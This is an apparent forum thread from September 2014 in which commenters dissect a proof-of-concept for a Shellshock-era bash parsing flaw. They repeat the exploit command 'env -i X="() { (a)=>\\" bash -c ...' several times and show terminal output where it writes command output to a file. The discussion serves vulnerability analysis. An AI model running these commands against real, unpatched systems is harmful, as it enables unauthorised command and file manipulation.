PoC floating around:
rm -f echo && env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
rm -f echo && env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
rm -f echo && <---- Irrelevant, removes old echo files.
env -i X=' <---- Start definition of an environment variable. () { <---- Function definition which is expected by the parser according to the codebase. (a)= <---- I have no idea what this [1] is or [2] does. >\ <---- I have no Idea what this [3] is but kinda know what it does. Executing ">\echo date" in a bash term somehow yields same result as "date > echo". Is this a feature? [4] Does bash have a ">\" operator? [5]
' bash -c 'echo date'; cat echo <----- End the environment variable definition, run a new shell so that the vars get loaded and output the contents of the file "echo" if created.
I would really appreciate anyone shedding some light on [1]...[5].
echo 'abc\'
The \' in the original command isn't trying to escape the quote, it's ending the environment variable in a "\"
Is the naughty thing that the improper function def is supposed to prevent bash to be executed?
If so, I still dont get how this is a possible RCE. nothing from the environment variable definition persists.
Try this slight variation:
$ export X="() { (a)=>\\"
$ bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ cat echo
Thu Sep 25 02:27:07 UTC 2014
AFAICT (without digging deep into the code) that leave in the execution buffer as ">\[NEWLINE]echo date" which gets treated the same as
date > echo
See one of my other comments for an example that uses the same flaw to read files.
I don't think anyone has found an RCE path for it yet though.
Under normal circumstances:
$ bash -c 'echo date'
date
date > echo:
$ export X="() { (a)=>\\"
$ bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ cat echo
Wed Sep 24 22:38:19 EDT 2014